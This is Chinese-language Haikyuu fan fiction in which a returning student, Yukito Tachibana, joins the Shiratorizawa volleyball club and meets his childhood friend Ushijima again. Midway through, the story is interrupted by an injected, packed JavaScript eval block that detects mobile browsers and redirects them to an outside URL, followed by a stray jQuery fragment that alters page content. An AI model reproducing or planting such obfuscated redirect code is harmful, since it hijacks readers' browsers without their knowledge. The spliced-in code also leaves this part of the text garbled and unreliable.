“立花。”
“立花!”
“立花——!!!”
“啊,抱歉抱歉。”
窗边的倒数第二排,向来是主角们的位置。此刻坐在这里的少年终于转过头,一张清淡却极其俊秀的脸,漂过的银白色头发在窗边携满樱花的风里略显得凌乱。
他笑着对来人说:“最近才改回了我妈妈原本的姓氏,有些不习惯,你就叫我雪兔也可以。”
“好吧,那雪兔,你的报名表填好了没有?”五色工催促,“快快快,他们招满了可就完蛋了!”
“不会吧……”立花雪兔从堆满了的漫画和小说的课桌上,艰难地找到那张空白的排球部报名表,“其实我还在考……”
五色工左手抓着报名表,右手抓着立花雪兔,根本不给他任何犹豫的时间,如一阵飓风般地冲出了教室后门,在长长的教学楼走廊上一路狂奔。
“跑太快了啊啊啊!我是说我还在考虑!到底要不要参加排球……”
你是二传啊。珍贵的二传。保护动物般的二传。五色工心说。
既然我立志要成为白鸟泽的新王牌,那么从一年级开始培养搭档就是必不可少的!我是不会放过你的,立花雪兔!
所以就不要想着……
“啊呀,这不是Yukito吗?本人比视频上更好看呢!要不要来我们摄影部啊?”
“真的吗?是那位Yukito吗?来舞蹈部吧!完全就是爱豆啊。”
“胡说,那孩子明明就长着一张演员脸吧,所以一定要来我们演剧部啊!”
“轻音部也很欢迎你哟!”
时值三月,樱花落满校园。
各个社团在樱花纷飞中摆起了彩色的招募摊位,喧嚣热闹。
立花雪兔还没来得及仔细看看这只会出现在动画里的场景,也没来得及和这些分发传单的前辈们打招呼,就被五色工拽着手腕一溜烟跑远了,只留下一串尾气和一排面面相觑的脸。
……就不要想着参加以上这些花里胡哨的社团了。五色工总结陈词。
这场狂奔终于在抵达一座辉煌的场馆时停下了。
“太好了!我们是到的最早的!”五色工回头看着喘息的立花雪兔,心说不行啊,这家伙的体力远远不合格啊。
但这是自己未来的二传,所以他并没有苛责,反而尽职尽责地向刚回国不久的立花雪兔同学介绍起了眼前的建筑:
“在宫城县,说到排球部,就是白鸟泽啊;说到白鸟泽,就是排球部啊。俗话说得好,来了白鸟泽学院不加入排球部,就等于……”
“……就等于没有加入排球部。”立花雪兔说。
五色工:“……”
五色工:“是等于就没有!诶、不对、等于没有什么来着?”
排球笨蛋。
纯纯的排球笨蛋啊。
但这毕竟是回日本之后交到的第一个朋友,立花雪兔还是很珍惜五色工的,而且这年头还尽职尽责当吐槽役的人也不多了。他叹了口气,对五色工说:“好吧,那我就先陪你看看排球部,进去吧。”
白鸟泽学院的排球馆,内部远远比外部更豪华。
层高15米,符合国际排球联合会规定的赛事级场馆,容纳了四个比赛场区和大面积的无障碍区,LED雪白的灯光照在琥珀色的地板上,显得整座场馆既高又宽敞。白鸟泽的排球部,就这样如巨幕电影一般在二人面前铺陈开来。
到处都是人的喊声,喘息声,以及扣球时排球哐哐砸在枫木地板上的声音,像是谁很用力的心跳。
这样的场景,一瞬间让立花雪兔回忆起了童年的夏天。
……以及,那时候教自己打排球的人。
“哦哦哦!!!”
五色工开始语无伦次地大叫,并疯狂地摇晃立花雪兔,抓着他跑去了一场正在进行训练赛的场地边。
“快看!那就是我的偶像!”
“白鸟泽的超级王牌!”
立花雪兔在混乱中,看见一个穿着1号运动服的高大身影一跃而起,LED灯的白光恰好朦胧了他的脸,只能看清楚那紧绷而流畅的肌肉线条,仿佛古希腊的雕塑,诠释着人类最原始的力量之美。仅仅是站在场地边,也能感受到他带来的巨大压迫。
他跳跃凌空,这一瞬间忽然被拉长得无比缓慢。
那击球的姿势,忽然与立花雪兔记忆中的小小身影重合起来。
立花雪兔:“!”
五色工说:“他就是!”
扣球,打手出界。
时间恢复原本的流速,排球如携着暴风,瞬间向着场地边的一年级生砸去。
“砰!”
训练赛中的所有选手,以及刚刚还在说话的五色工,都停住了。
大家看着接住了球的立花雪兔。
……用脸接住的。
“一年级新生吗?”拦网的天童觉最先反应过来,“喂喂,小朋友们,不要站得离场地这么近啊,很危险的。”
“没事吧?”方才击球的1号向他们走了过来。
五色工瞬间涨红了脸,语无伦次:“牛牛牛牛岛——”
立花雪兔双手接着球,脑袋从排球后探出来。那张漂亮的脸上有一个深深的红印,如果被摄影部、舞蹈部、演剧部和轻音部的前辈看见了,一定会非常痛心。
他眼泪汪汪,却来不及喊疼。
“若……利?”立花雪兔不确定地问。
走过来的人愣了一下,顷刻便笃定地说:
“雪兔。”
天童觉:“诶?”
五色工:“诶?诶诶诶诶诶诶——”
*
众人围着牛岛若利吃瓜,听得眼珠子都掉出来了。
“原来是牛岛小时候的邻居啊,所以是搬家了吗?一直都没有联系?”白布贤二郎很有兴趣地问。
“他回他爸爸妈妈那里了。”牛岛若利答。
“他的双亲不在宫城县吗?”大平狮音问。
“不在日本。”牛岛若利答。
“诶——”天童觉拉长了语调,揶揄地用肩膀撞了撞他,“若利,这不就是漫画里的幼驯染吗,幼·驯·染!而且是天降的幼驯染哦!”
白布贤二郎呛了一下。
牛岛若利看着立花雪兔正在填报名表的背影,想了想,认真地点点头:“是的。”
“但我总觉得好像在哪里见过他?”濑见英太忽然说。
“怎么,难不成也是你的幼驯染吗?”天童觉笑着问。
“真的啦,你们不觉得他很眼熟吗?就是突然一下想不起来了……”
“你这么一说好像确实耶。”天童觉若有所思。
“是像你喜欢的演员吗?”大平狮音加入讨论,“演贞子的那位。”
“那位是女性啦!”
“你们在干什么!”鹫匠教练不知道从哪里冒出来,“继续训练!”
大家迅速回到了场地里。
*
另一边,立花雪兔不知道从哪里抢了一只笔,趴在墙上奋笔疾书地填报名表。
开什么玩笑!也太帅了吧!
那只小小的牛团子,长大了怎么会变得这么帅啊!道德在哪里,底线在哪里,联系方式又在哪里!!!
五色工阴暗地碎碎念:“太狡猾了太狡猾了太狡猾了……”
立花雪兔:“哈?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380210|168436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“明明说好一起来排球部,结果你和牛岛前辈早就认识,实在是太狡猾了!”五色工控诉。
“我哪知道会有这么巧的事情啊,我才回仙台几天耶。”立花雪兔心说,你早说他在排球部而且这么帅,我早就填报名表了啊!
五色工正想说谁会不知道白鸟泽的牛岛若利啊!全国高中生三大王牌之一哎!仔细想了想,这家伙倒是真的不知道,刚刚还差点被摄影部舞蹈部演剧部轻音部拉走了。
立花雪兔指着报名表的某一栏,用圆珠笔戳了戳五色工:“这是什么意思啊?”
“技能啊,”五色工说,“su—ki—ru—,技能。”
“Skill。”立花雪兔一边写一边吐槽,“鬼才看得懂片假名啊。”
“对了,”五色工才想起来似的,“不仅牛岛前辈,刚刚一路上,各个社团的前辈也认识你,还都是漂亮的学姐!为什么?你不是才回来几天吗?”
立花雪兔叹了口气:“Go酱[1],智能手机是可以上网的,你知道吧?”
“我当然知道了!但是Go酱又是什么鬼?”
可不一定啊,排球笨蛋们。
“那我应该不用向你解释什么是YouTuber了吧。”立花雪兔说。
五色工:“?”
在五色工觉得自己今天受到的冲击已经太多了的时候,立花雪兔又把手机给他,在一个叫做【Yukito】的YouTube账号下,有整整80万粉丝!
“Instagram也有40万粉丝哦。”立花雪兔随口说,“你也给我点个关注吧。”
五色工:“真的假的啊?!”
五色工:“喂喂,那你岂不就是……”
立花雪兔突然捂住耳朵:“不不不,不要说那个词!”
五色工:“传说中的……”
立花雪兔:“停下啊!不要说!”
五色工:“网络红人?!”
立花雪兔:“………………”
立花雪兔扶额:“……太土了。”
“大家为什么要关注你呢?”五色工没有在意他的吐槽,翻了翻YouTube和Ins,既没有排球教程也没有比赛锦集,实在不能理解这样庞大的粉丝数,“你只是在发一些乱七八糟的东西啊。”
“因为脸啊。”立花雪兔指指自己,眨眨眼睛。
——那张脸上被排球砸出的红印还没有消。
好了,现在会为之心痛的从四个社团前辈,扩大到了120万人。
“你是说仅仅因为你的脸长得好看,就有120万人愿意天天看你吃了什么东西去了什么地方吗?”五色工震惊。
“是这样没错呢。”
“你在网上发过排球的内容吗?”
“没有诶。”
“从今天开始可以发排球了。”五色工郑重地握了握他的手,“太好了,以后我们去打大赛的话,是不是全国都会有我们的粉丝啊……”
立花雪兔的表情:(˙-˙)#
不过,说不定也挺好的呢,排球部。立花雪兔忽然想。
咚咚。咚咚。
排球不断地砸在地板上,像谁的心跳。
他转头看向训练赛的场地。场地里有人高高跃起,击中排球,又被人接起,高高地传回来。所有人都仰着头,向上看,没有人回头。
我也要开始新的生活了,立花雪兔对自己说,向上看,不要回头。
“Go酱。”
“嗯?”五色工已经对这奇怪的昵称接受良好了。
“报名表交给谁啊?”立花雪兔指了指盯着训练赛的鹫匠教练,“是那位看起来就凶巴巴的老爷子吗?”